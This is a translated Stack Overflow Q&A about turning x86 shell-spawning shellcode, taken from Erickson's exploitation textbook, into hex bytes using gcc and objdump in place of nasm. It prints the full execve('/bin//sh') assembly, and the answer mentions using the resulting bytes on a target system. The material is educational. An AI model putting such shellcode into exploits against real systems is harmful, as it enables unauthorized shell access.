我有以下汇编代码来从 Erickson 的漏洞利用手册中生成一个 shell:
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.
但是,我的 linux 机器没有 nasm 并且要获得它需要我找我的管理员来下载软件包。还有其他方法可以将其变成十六进制吗?我知道 GCC 使用 AT&T,但我不知道有任何支持 Intel x86 的方法。
最佳答案
要仅获取十六进制转储,您不需要有效的可执行文件。在你的情况下(没有重定位)我认为在你的操作系统上使用你的汇编器在家里组装代码没有问题,获取十六进制转储并在目标系统上使用它。只需注意架构(i386 或 x86_64)。
以下是在 Linux 上获取十六进制转储的步骤:
test.s(小写'.s')
.intel_syntax noprefix
.text
.global _start
_start:
xor eax, eax # Zero out eax.
push eax # Push some nulls for string termination.
push 0x68732f2f # Push "//sh" to the stack.
push 0x6e69622f # Push "/bin" to the stack.
mov ebx, esp # Put the address of "/bin//sh" into ebx, via esp.
push eax # Push 32-bit null terminator to stack.
mov edx, esp # This is an empty array for envp.
push ebx # Push string addr to stack above null terminator.
mov ecx, esp # This is the argv array with string ptr.
mov al, 11 # Syscall #11.
int 0x80 # Do it.
考虑将注释符号 ;
更改为 #
。
构建并获取十六进制转储:
gcc -m32 -c test.s
objdump -F -s -j.text test.o
你也可以使用gdb test.o
和disass/r _start
关于linux - 如何编译 Intel x86 汇编代码以获取十六进制转储?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/27245006/